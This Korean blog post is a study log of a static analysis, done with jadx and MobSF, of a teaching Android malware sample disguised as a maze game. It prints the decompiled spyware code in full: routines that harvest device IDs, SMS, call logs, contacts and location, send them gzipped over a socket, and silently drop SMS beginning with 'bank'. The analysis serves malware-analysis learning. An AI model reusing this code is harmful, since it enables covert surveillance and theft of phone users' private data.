이번 주에 한 일
- syssecApp.apk 정적 분석_Jadx이용(아래 보고서 링크에서 확인할 수 있다.)
- Mobsf 사용해보기(정적분석)
분석 준비
버추얼 박스에서 우분투를 작동한 뒤, 저번 주에 깔았던 jadx-gui를 터미널에서 jadx를 입력해 실행시킨다.

파일 열기 버튼을 눌러 syssecApp.apk를 열어준다. 열어주게 되면, 아래와 같은 파일구조가 보인다.

정적 분석
jadx-gui를 활용한 분석
Resources 폴더 -> AndroidManifest.xml 내용
- AndroidManifest.xml 파일은 앱이 어떤 구성 요소로 이루어져 있고 어떤 권한이 필요한지를 안드로이드 OS에게 알려주는 보고서이다. 항상 파일명은 고정되어있다.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
android:versionCode="1"
android:versionName="1.0.1"
package="de.rub.syssec">
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_USER_DICTIONARY" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_CALENDAR" />
<uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_CALL_LOG" />
<uses-permission android:name="android.permission.WRITE_CALL_LOG" />
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="17" />
<application
android:label="@string/app_name"
android:icon="@drawable/icon"
android:debuggable="true"
android:allowBackup="false">
<activity
android:name="de.rub.syssec.amazed.AmazedActivity"
android:label="@string/app_name"
android:theme="@android:style/Theme.NoTitleBar"
android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name="de.rub.syssec.receiver.SmsReceiver">
<intent-filter android:priority="100">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<receiver android:name="de.rub.syssec.receiver.OnbootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
</receiver>
<receiver android:name="de.rub.syssec.receiver.OnAlarmReceiver" />
<service android:name="de.rub.syssec.neu.Runner" />
<service android:name="de.rub.syssec.neu.PositionService" />
</application>
</manifest>
intent-filter
정의
인텐트는 특정 일을 해달라는 요청 메시지(의지)이고, 인텐트 필터는 앱의 구성요소가 수신하고자 하는 인텐트의 요청이면, 자신이 그 일을 처리할 수 있다고 응답하는 역할을 한다. 이 역할들 중간에는 안드로이드 OS가 개입해서 중재한다.
intent의 유형
- 명시적 인텐트: 주로 하나의 앱 내부에서 화면을 전환할 때 사용한다. 실행할 대상을 명확하게 지정하기 때문에 인텐트 필터가 필요하지 않다.
- 암시적 인텐트: 주로 외부의 다른 앱 기능을 빌려 쓰고 싶을 때 사용한다. 실행할 대상을 지정하지 않고, 어떤 액션을 할지만 알려주고, 시스템이 모든 앱의 인텐트 필터를 찾아 해당 액션이 가능하다고 응답한 앱들을 사용자에게 보여준다. (ex. 사진첩에서 공유 버튼을 누르면 공유와 관련있는 여러 앱이 나오는 상황)
코드 안의 intent-filter
<intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter>
- 시스템이 이 액티비티(de.rub.syssec.amazed.AmazedActivity)를 실행할 때 독립적인 시작점으로 취급, main() 진입점과 같은 의미
- 시스템의 Launcher app(홈화면)이 이 액티비티를 목록에 노출하도록 강제, 시스템이 해당 앱의 아이콘을 생성/관리
- 이 코드가 없다면 홈화면에 아이콘이 나타나지 않는다.
<intent-filter android:priority="100"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter>
- priority="100"은 문자를 1순위로 받는다는 뜻으로, 정상적인 문자 앱보다 먼저 문자를 확인해서 가로채거나 숨길 수 있게 된다.
- 폰에 SMS가 도착했을 때 이 receiver(de.rub.syssec.receiver.SmsReceiver)를 실행하라는 의미이다.
<intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter>
- 폰이 부팅 완료(BOOT_COMPLETED)되면 시스템이 de.rub.syssec.receiver.OnbootReceiver에게 이 신호를 보낸다. 악성코드는 이 필터를 통해 사용자가 앱을 켜지 않아도 자동으로 백그라운드에서 살아난다.
<receiver android:name="de.rub.syssec.receiver.OnAlarmReceiver" />
<service android:name="de.rub.syssec.neu.Runner" />
<service android:name="de.rub.syssec.neu.PositionService" />
- <service>: 사용자가 다른 앱을 쓰거나 화면을 꺼두어도, 뒤에서 계쏙 돌아가야 하는 기능(화면이 뜨지 않음)
- <receiver>: 시스템이나 다른 앱에서 보내는 특정 신호를 기다리고 있다가, 신호가 오면 즉시 반응(평소에는 자고 있다가, 신호가 오면 잠깐 일어나 코드 실행)
1. sourcecode → de.rub.syssec.neu.Runner
수집한 정보를 서버로 보내거나 처리하는 본체 파일
주요 함수들을 정리했다.
steal() 함수
private void steal() throws Throwable {
SharedPreferences settings = getSharedPreferences(PREFS_NAME, 0);
this.startDate = settings.getLong("d", 0L);
System.out.println("startDate set to " + this.startDate);
// XML 데이터 생성 시작
this.xml = new XmlFoo("stolenData");
this.xml.addAttribute("date", new StringBuilder().append(System.currentTimeMillis()).toString());
this.xml.addAttribute("startDate", new StringBuilder().append(this.startDate).toString());
this.xml.addAttribute("runNr", new StringBuilder().append(runNr).toString());
// 기기 식별 정보 변수 선언 후 초기화
String imei = "1";
String line1 = "1";
String networkOP = "1";
String simSerial = "1";
String imsi = "1";
System.out.println("dumping ids");
this.xml.addAttribute("androidVersion", new StringBuilder().append(Build.VERSION.SDK_INT).toString());
TelephonyManager tm = null;
try {
tm = (TelephonyManager) getSystemService("phone");
imei = tm.getDeviceId(); // IMEI 수집
} catch (Exception e) {
System.out.println(e.getMessage());
e.printStackTrace();
}
this.xml.addAttribute("imei", imei);
try {
line1 = tm.getLine1Number(); // 전화번호 수집
} catch (Exception e2) {
e2.printStackTrace();
}
this.xml.addAttribute("line1", line1);
try {
networkOP = tm.getNetworkOperatorName(); // 통신사 이름
} catch (Exception e3) {
e3.printStackTrace();
}
this.xml.addAttribute("networkOp", networkOP);
try {
simSerial = tm.getSimSerialNumber(); // SIM 시리얼 번호
} catch (Exception e4) {
e4.printStackTrace();
}
this.xml.addAttribute("simSerial", simSerial);
try {
imsi = tm.getSubscriberId(); // IMSI 수집
} catch (Exception e5) {
e5.printStackTrace();
}
this.xml.addAttribute("imsi", imsi);
// 민감 정보 덤프 섹션
System.out.println("dumping sms");
dumpSMS(); //문자 메시지 내역 탈취
System.out.println("dumping clog");
readCallLog(); //통화 기록 탈취
System.out.println("dumping bbookmarks");
readBrowserBookmarks(); //인터넷 즐겨찾기 탈취
System.out.println("dumping bsearches");
readBrowserSearches(); //검색 기록 탈취
// 특정 실행 횟수(runNr % 33 == 0)마다 추가 데이터 수집->매번 수행하면 눈에 띄어서
if (runNr % 33 == 0) {
System.out.println("dumping dict");
readDictionary();
} else {
System.out.println("SKIPPING dict");
}
if (runNr % 33 == 0) {
System.out.println("dumping contacts");
readContacts();
} else {
System.out.println("SKIPPING contacts");
}
if (runNr % 33 == 0) {
System.out.println("dumping calendar");
readCalendar();
} else {
System.out.println("SKIPPING calendar");
}
// 위치 정보 수집
System.out.println("dumping geocoord");
this.xml.addTag("location");
// 네트워크 기반 위치
for (Coordinates coord : PositionService.getNetworkCoordinates()) {
this.xml.addTag("network"); //xml 태그: <network>
this.xml.addAttribute("long", new StringBuilder().append(coord.getLong()).toString()); //경도를 가져와서 xml의 attribute로 추가
this.xml.addAttribute("lat", new StringBuilder().append(coord.getLat()).toString()); //위도를 가져와 추가
this.xml.addAttribute("timestamp", new StringBuilder().append(coord.getTimestamp()).toString()); //시간을 가져와 추가
this.xml.closeLastTag();
}
// GPS 기반 위치
for (Coordinates coord2 : PositionService.getGpsCoordinates()) {
this.xml.addTag("gps");
this.xml.addAttribute("long", new StringBuilder().append(coord2.getLong()).toString());
this.xml.addAttribute("lat", new StringBuilder().append(coord2.getLat()).toString());
this.xml.addAttribute("timestamp", new StringBuilder().append(coord2.getTimestamp()).toString());
this.xml.closeLastTag();
}
this.xml.closeLastTag(); // location 태그 닫기
this.xml.finish();
// 최종 데이터 전송 준비
prepareSend();
}
1. XML 생성 및 기본 정보 수집
코드 시작 부분에서 XmlFoo("stolenData")라는 객체를 만든다. 훔친 데이터를 쌓을 장부라고 생각하면 된다.
- 시간 기록: System.currentTimeMillis()로 현재 시간을 기록한다.
- 기기 식별: TelephonyManager는 안드로이드 시스템에서 phone 서비스와 관련된 모든 정보를 관리하는 핵심 클래스이다. 이 코드에서는 tm으로 선언하였다. 이를 사용해 스마트폰의 고유 식별 정보들을 수집한다.
- imei: 기기 고유 번호
- line1: 전화번호
- simSerial: SIM 카드 시리얼 번호
- imsi: 국제 모바일 가입자 식별자 (이걸 알면 가입자 추적이 가능)
2. 본격적인 데이터 탈취 (메서드 호출)
- dumpSMS(): 문자 메시지 내역 탈취
- readCallLog(): 통화 기록 탈취
- readBrowserBookmarks() / readBrowserSearches(): 인터넷 즐겨찾기와 검색 기록 탈취
- 조건부 탈취 (runNr % 33 == 0): 매번 수행하면 눈에 띌까 봐, 실행 횟수가 33의 배수일 때만 주소록(Contacts), 캘린더(Calendar), 사전(Dictionary)을 털어간다.
3. 실시간 위치 추적 (Location)
PositionService(아래에 코드가 있다)에서 수집한 네트워크 좌표와 GPS 좌표 리스트를 루프(for문)를 돌면서 XML 장부에 기록한다.
- lat (위도), long (경도)를 타임스탬프와 함께 저장해서 사용자가 언제 어디에 있었는지 경로를 파악한다.
4. 마무리 및 전송 준비
this.xml.finish(); prepareSend();
- finish(): 장부 작성을 끝내고 파일 형태를 완성한다.
- prepareSend(): 이제 이 장부를 서버로 보낼 준비를 한다. 아마 이 함수 안으로 들어가면 아까 보았던 IP 주소(127.0.0.1)로 데이터를 쏘는 코드가 있을 것이다.
prepareSend() 함수, sendData() 함수
private void prepareSend() throws Throwable {
long timeNow = System.currentTimeMillis();
System.out.println("Sending data...");
String s = this.xml.toString();
this.xml = null;
System.out.println(s);
try {
sendData(s);
SharedPreferences settings = getSharedPreferences(PREFS_NAME, 0);
SharedPreferences.Editor editor = settings.edit();
editor.putLong("d", timeNow);
editor.commit();
PositionService.cleanGpsCoordinateList();
PositionService.cleanNetworkCoordinateList();
System.out.println("Sent data to 127.0.0.1:53471");
} catch (Exception e) {
System.out.println("Could not connect: " + e.getMessage());
}
}
private void sendData(String data) throws Throwable {
Socket socket = null;
PrintWriter pw = null;
try {
Socket socket2 = new Socket("127.0.0.1", 53471);
try {
socket2.setSoTimeout(30000);
GZIPOutputStream gzOut = new GZIPOutputStream(socket2.getOutputStream(), 8192);
BufferedOutputStream bout = new BufferedOutputStream(gzOut, 8192);
PrintWriter pw2 = new PrintWriter(bout);
try {
pw2.write(data);
pw2.flush();
bout.flush();
gzOut.finish();
gzOut.flush();
gzOut.close();
if (pw2 != null) {
try {
pw2.close();
} catch (Exception e) {
}
}
if (socket2 != null) {
try {
socket2.close();
} catch (Exception e2) {
}
}
} catch (Throwable th) {
pw = pw2;
socket = socket2;
if (pw != null) {
try {
pw.close();
} catch (Exception e3) {
}
}
if (socket != null) {
try {
socket.close();
throw th;
} catch (Exception e4) {
throw th;
}
}
throw th;
}
} catch (Throwable th2) {
socket = socket2;
throw th2;
}
} catch (Throwable th3) {
throw th3;
}
}
이 코드는 모은 정보들을 공격자의 서버로 보내는 역할을 한다. 이 코드는 학습용 코드여서 루프백으로 내 서버로 보내게 된다. 내용으로는
1. XML 문자열 변환 -> prepareSend()
- 지금까지 steal() 함수에서 훔친 정보(문자, 위치, 기기 ID 등)가 담긴 XML 객체를 하나의 긴 String으로 바꾼다.
2. 데이터 압축 (GZIP 사용) -> sendData()
- 포장된 데이터를 그대로 보내지 않고 GZIP이라는 기술을 써서 아주 작게 압축한다.
3. 외부 유출 (소켓 통신 전송) -> sendData()
- 압축된 데이터를 127.0.0.1 주소의 53471번 포트로 연결된 Socket을 통해 보낸다.
4. 흔적 지우기 -> prepareSend()
- 성공 확인: 데이터 전송이 끝나면 휴대폰 메모리에 남아있던 위치 정보 리스트를 삭제(clean...)하여 증거를 없앤다.
- 기록: 전송 시간을 기록하여 다음번에 언제 다시 훔칠지 정한다.
work() 함수
public void work() throws Throwable {
try {
if (isOnline()) {
System.out.println("Network ok, stealing! (run/gps/net: " + runNr + "/" + PositionService.getGpsCoordinates().size() + "/" + PositionService.getNetworkCoordinates().size() + ")");
steal();
} else {
System.out.println("No Network, aborting. (run/gps/net: " + runNr + "/" + PositionService.getGpsCoordinates().size() + "/" + PositionService.getNetworkCoordinates().size() + ")");
}
runNr++;
} catch (Exception e) {
e.printStackTrace();
}
}
- if (isOnline()): 가장 먼저 지금 인터넷에 연결되어 있는지를 확인한다. 정보를 빼돌리려면 공격자의 서버로 전송해야 하기 때문에 네트워크 상태를 체크하는 것이다.
- System.out.println("Network ok, stealing! ..."): 네트워크가 연결되어 있으면 콘솔에 "Network ok, stealing! ..." 이라는 메시지를 출력한다.
- runNr: 이 범행이 몇 번째 반복되고 있는지 횟수를 나타낸다. 이 함수는 주기적으로 반복 실행된다.
- PositionService.getGpsCoordinates().size(): 현재까지 몰래 수집한 GPS 위치 정보의 개수를 출력한다.
- PositionService.getNetworkCoordinates().size(): 수집된 네트워크 기반 위치 정보의 개수를 출력한다.
- steal(): 네트워크가 확인되었으니 실제로 수집한 정보(문자, 위치, 기기 정보 등)를 패키징해서 공격자 서버로 전송하는 함수를 호출한다.
2. sourcecode → de.rub.syssec.amazed.Maze
미로 게임을 담당하는 코드로, 크게 위험한 부분은 없지만
catch (Exception e) {
Log.i("Maze", "load exception: " + e);
}
위와 같이 함수에서 에러가 발생하면 로그를 남기는 부분이 있다. 학습용 샘플이기 때문에 분석하는 사람이 흐름을 따라오기 편하도록 적은 부분인 것 같다. 실제 악성 앱들은 위와 같은 코드를 사용해 로그를 거의 남기지 않는다.
3. sourcecode → de.rubsyssec.receiver.SmsReceiver
이 파일은 사용자의 문자 메시지를 실시간으로 감시하다가, 특정 조건이 되면 문자를 중간에서 삭제해버린다.
코드 내용은 아래와 같다.
public class SmsReceiver extends BroadcastReceiver {
public static final String SMS_RECEIVED_INTENT = "android.provider.Telephony.SMS_RECEIVED";
private static final String STEALTH_TEXT = "bank";
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(SMS_RECEIVED_INTENT)) {
Bundle bundle = intent.getExtras();
String msg = "";
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage[] msgs = new SmsMessage[pdus.length];
for (int i = 0; i < msgs.length; i++) {
msgs[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
msg = String.valueOf(msg) + msgs[i].getMessageBody().toString();
}
if (msg.toLowerCase().startsWith(STEALTH_TEXT)) {
abortBroadcast();
Toast.makeText(context, "DROPPED SMS!", 1).show();
}
}
}
}
}
1. 감시 대상 설정 (Intent Filter)
- SMS_RECEIVED_INTENT = "android.provider.Telephony.SMS_RECEIVED"
- 안드로이드 시스템에서 새로운 문자 메시지가 도착했다는 신호를 보낼 때, 이 앱이 그 신호를 낚아채겠다고 선언하는 부분이다.
2. 특정 키워드 감시 (STEALTH_TEXT)
- private static final String STEALTH_TEXT = "bank";
- 이 앱은 모든 문자를 감시하지만, 특히 bank라는 단어로 시작하는 문자를 노리고 있다. 은행 결제 알림이나 OTP 인증 번호 등을 가로채려는 의도로 생각하면 될 것 같다.
3. 문자 데이터 추출 (PDU 분석)
- Object[] pdus = (Object[]) bundle.get("pdus");
- PDU(Protocol Data Unit)는 안드로이드에서 문자 메시지를 주고받는 원본 데이터 형식이다.
- for문을 돌면서 이 복잡한 이진 데이터를 우리가 읽을 수 있는 텍스트(getMessageBody().toString())로 변환하여 msg 변수에 쌓는다.
4. 문자 가로채기 및 삭제 (abortBroadcast)
- if (msg.toLowerCase().startsWith(STEALTH_TEXT))
- 만약 받은 문자가 "bank"로 시작한다면
- abortBroadcast();
- 안드로이드 OS가 기본으로 제공하는 함수로, 이 문자 신호를 여기서 끊어버리라고 명령한다.
- 결과적으로 사용자는 문자가 왔는지조차 알 수 없게 된다.
- Toast.makeText(context, "DROPPED SMS!", 1).show();
- 학습용이라서 "문자를 버렸다!"라고 화면에 띄운다. 실제 악성 앱이라면 당연히 아무 표시도 하지 않을 것이다.
4. sourcecode → de.rubsyssec.receiver. OnbootReceiver
public class OnbootReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
AlarmManager mgr = (AlarmManager) context.getSystemService("alarm");
Intent i = new Intent(context, (Class<?>) OnAlarmReceiver.class);
PendingIntent pi = PendingIntent.getBroadcast(context, 0, i, 0);
mgr.setRepeating(2, SystemClock.elapsedRealtime() + 10000, 15000L, pi);
}
}
1. 폰이 켜지자마자 시작 (부팅 자동 실행)
- OnbootReceiver: 사용자가 앱을 클릭하지 않아도, 휴대폰이 부팅되는 순간 시스템 신호를 받아 몰래 작동을 시작한다.
2. 15초마다 무한 반복 (알람 예약)
- AlarmManager: 안드로이드의 알람 시계 기능을 이용한다.
- setRepeating: 딱 10초 뒤에 첫 실행을 하고, 그 이후부터는 15초마다 무한히 악성 코드를 실행하도록 예약다.
3. 끊임없는 정보 탈취
- OnAlarmReceiver: 알람이 울릴 때마다 이 클래스가 실행된다. 실행되면, Runner와 PositionService 클래스가 실행된다.
- PendingIntent: 이 주문서를 시스템에 맡겨두어서 나중에 시간이 되면 시스템이 대신 이 주문서를 꺼내서 실행한다.
5. sourcecode -> de.rub.syssec.neu.PositionService
public class PositionService extends Service {
public static final String LOCATION_MANAGER_NAME_EXTRA = "LOCATION_MANAGER_NAME_EXTRA";
private static final int UPDATE_INTERVAL_IN_SEC = 2;
private LocationManager locationManager;
private static MyLocationListener networkLocationListenerNeu = new MyLocationListener("network");
private static MyLocationListener gpsLocationListenerNeu = new MyLocationListener("gps");
@Override // android.app.Service
public void onCreate() {
try {
this.locationManager = (LocationManager) getSystemService("location");
this.locationManager.requestLocationUpdates("network", 2000L, 0.0f, networkLocationListenerNeu);
this.locationManager.requestLocationUpdates("gps", 2000L, 0.0f, gpsLocationListenerNeu);
} catch (IllegalArgumentException e) {
System.out.println("Unknown location provider: " + e.getMessage());
stopSelf();
}
System.out.println("Started postion service.");
}
@Override // android.app.Service
public void onDestroy() {
this.locationManager.removeUpdates(networkLocationListenerNeu);
this.locationManager.removeUpdates(gpsLocationListenerNeu);
}
@Override // android.app.Service
public IBinder onBind(Intent intent) {
return null;
}
public static LinkedList<Coordinates> getGpsCoordinates() {
return gpsLocationListenerNeu.getCoordinates();
}
public static LinkedList<Coordinates> getNetworkCoordinates() {
return networkLocationListenerNeu.getCoordinates();
}
public static void cleanGpsCoordinateList() {
gpsLocationListenerNeu.cleanCoordinateList();
}
public static void cleanNetworkCoordinateList() {
networkLocationListenerNeu.cleanCoordinateList();
}
}
이 코드는 위치 추적을 담당한다. 사용자가 어디에 있는지 실시간으로 감시한다. 구체적인 역할로는
1. 실시간 위치 감시 시작 (onCreate)
이 서비스가 실행되자마자 안드로이드의 LocationManager를 불러와서 감시 모드에 들어간다.
- 두 가지 채널 사용: 1. network: Wi-Fi나 기지국 정보를 이용한 대략적인 위치/ 2. gps: GPS 위성을 이용한 아주 정밀한 위치
- 2초 간격 업데이트: 2000L(2초)마다 위치 정보를 갱신하라고 명령한다.
2. 정보 보관 및 전달 (getCoordinates)
수집된 위치 정보는 MyLocationListener라는 곳에 저장된다.
- getGpsCoordinates() | getNetworkCoordinates():다른 서비스가 지금까지 모은 위치 정보 모두 달라고 요청하면, 저장해뒀던 좌표 리스트(LinkedList)를 통째로 넘겨준다.
3. 증거 인멸 기능 (clean...List)
- cleanGpsCoordinateList(): 데이터를 서버로 무사히 보낸 뒤에 호출된다.
- 이미 보낸 데이터를 계속 들고 있으면 메모리만 차지하고 들킬 위험이 있으니, 서버 전송 성공 시 보관함을 비워버리는 뒷정리 기능이다.
5. sourcecode -> de.rub.syssec.neu. MyLocationListener
public MyLocationListener(String locationManagerName) {
this.locationManagerName = locationManagerName;
if ("gps".equals(locationManagerName)) {
this.geoType = Coordinates.GeoType.GPS;
} else {
this.geoType = Coordinates.GeoType.NETWORK;
}
}
@Override // android.location.LocationListener
public void onLocationChanged(Location location) {
Coordinates newCoord = new Coordinates(location.getLongitude(), location.getLatitude(), this.geoType, location.getTime());
synchronized (this.mutex) {
try {
} catch (Exception e) {
e.printStackTrace();
}
if (this.mostRecentCoord == null || this.mostRecentCoord.getTimestamp() < newCoord.getTimestamp()) {
if (this.coordList.size() >= 10000) {
System.out.println("Reached maximum #coords for provider " + this.locationManagerName + ", trimming list.");
Iterator<?> it = this.coordList.iterator();
while (it.hasNext()) {
it.next();
if (it.hasNext()) {
it.next();
}
it.remove();
}
}
System.out.println("NEW pos for provider " + this.locationManagerName + ": " + newCoord);
this.mostRecentCoord = newCoord;
this.coordList.addLast(newCoord);
}
}
}
@Override // android.location.LocationListener
public void onProviderDisabled(String provider) {
System.out.println("Location provider " + this.locationManagerName + " disabled.");
}
@Override // android.location.LocationListener
public void onProviderEnabled(String provider) {
System.out.println("Location provider " + this.locationManagerName + " enabled.");
}
@Override // android.location.LocationListener
public void onStatusChanged(String provider, int status, Bundle extras) {
}
public LinkedList<Coordinates> getCoordinates() {
LinkedList<Coordinates> ll;
synchronized (this.mutex) {
ll = new LinkedList<>();
ll.addAll(this.coordList);
}
return ll;
}
public void cleanCoordinateList() {
try {
synchronized (this.mutex) {
this.coordList.clear();
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
이 코드는 위의 PositionService가 위치 정보를 받아올 때 실제로 그 데이터를 어떻게 처리하고 저장할지 결정하는 역할을 한다.
1. 위치 신호 수신 (onLocationChanged)
사용자가 이동하여 새로운 위치 좌표가 찍히면 자동으로 호출된다.
- 데이터 생성: 위도, 경도, 시간 정보를 합쳐서 newCoord라는 객체로 만듭니다.
- 중복/과거 데이터 방지: this.mostRecentCoord.getTimestamp() < newCoord.getTimestamp()
- 현재 저장된 것보다 더 최신 정보일 때만 저장한다.
- 저장 공간 관리 (Trimming): this.coordList.size() >= 10000
- 공격자의 서버에 전송이 되지 않는 상황이 와서 cleanCoordinateList()가 호출되지 않을 때, 저장된 좌표가 10,000개가 넘어가면 리스트를 절반으로 줄인다(it.remove()). 메모리가 꽉 차서 앱이 뻗거나 사용자가 눈치채는 것을 막으려는 것이다.
- 데이터를 하나씩 건너뛰면서 지운다. 2초 간격이던 데이터를 4초 간격으로 늘리는 효과가 나며, 사용자의 전체적인 경로는 여전히 알 수 있다.
2. 동기화 처리 (synchronized)
- 코드 곳곳에 synchronized (this.mutex)가 있다.
- PositionService가 위치를 기록하는 동시에, Runner 등의 서비스가 이 데이터를 가져가려고 할 수도 있다. 이때 데이터가 꼬이지 않도록 내가 기록하는 동안은 아무도 건드리지 못하도록 잠금 장치를 걸어두는 것이다.
3. 데이터 제공 및 청소 (getCoordinates, cleanCoordinateList)
- getCoordinates(): 지금까지 모은 위치 기록을 ll으 이름 붙인 리스트에 복사해서 넘겨준다. (나중에 Runner가 서버로 보낼 때 사용함)
- cleanCoordinateList(): 공격자의 서버 전송이 끝난 뒤, 장부를 깨끗하게 비운다.
4. 현재 상태 기록
- onProviderDisabled (꺼짐 알림)
- 사용자가 휴대폰 설정에서 '위치(GPS)' 기능을 직접 껐을 때 실행된다.
- 지금 GPS가 꺼져서 위치를 잡을 수 없다고 내부적으로 기록만 남긴다.
- onProviderEnabled (켜짐 알림)
- 사용자가 다시 위치 기능을 켰을 때 실행된다.
- 위치를 훔칠 준비가 됐다고 기록한다. onLocationChanged가 다시 작동하며 좌표를 수집하기 시작한다.
모든 코드의 부분부분이 수상해서 더 찾으면 악성 행위를 포함한 코드를 더 많이 발견할 수 있다고 생각된다. 위에서 정리한 클래스와 함수들은 그 중에서 이 악성코드의 핵심 역할을 담당하는 요소들이다.
Mobsf를 활용한 분석
추가로 mobsf도 실행해서 파일을 넣어보았다.

위와 같이 권한 등에서 앱의 위험성을 알려주는 화면이 나온다.
분석 결과를 pdf 파일로 저장하였다. 아래의 파일이 mobsf에서의 syssecApp 분석 pdf이다.(이상한 파일 아니니까 저장해도 아무일도 안 일어날것이다.....^^ 걱정 하지말길...)
pdf 내용을 간략하게 적어보자면, 보안점수가 100점 만점에 27점으로 F등급이 나왔다.
위험요소들로는
1. 취약한 인증 및 서명
- 디버그 인증서 사용
- Janus 취약점 노출
- 취약한 알고리즘
2. 안드로이드 설정 오류
- 너무 낮은 버전 지원
- 디버깅 허용
- 보호되지 않은 구성 요소
3. 과도한 개인정보 접근
- 악성코드에서 흔히 발견되는 수준의 권한
- 문자 메시지
- 위치 및 연락처
- 통화 기록
- 고유 식별 번호(IMSI)를 수집, 통화 기능을 암시적으로 호출
위와 같이 정리할 수 있겠다. 이번 글은 jadx를 이용한 정적분석이 주 내용이니 나중에 더 자세히 알아보도록 하겠다.
'악성코드' 카테고리의 다른 글
| 6주차_Jadx(1) (0) | 2026.05.18 |
|---|---|
| 5주차_Frida(1) (0) | 2026.05.11 |
| 4주차_학습용 악성코드 동적분석 (0) | 2026.04.02 |
| 2주차_악성코드 분석 툴 (0) | 2026.03.23 |
| 1주차_capa 규칙 (0) | 2026.03.16 |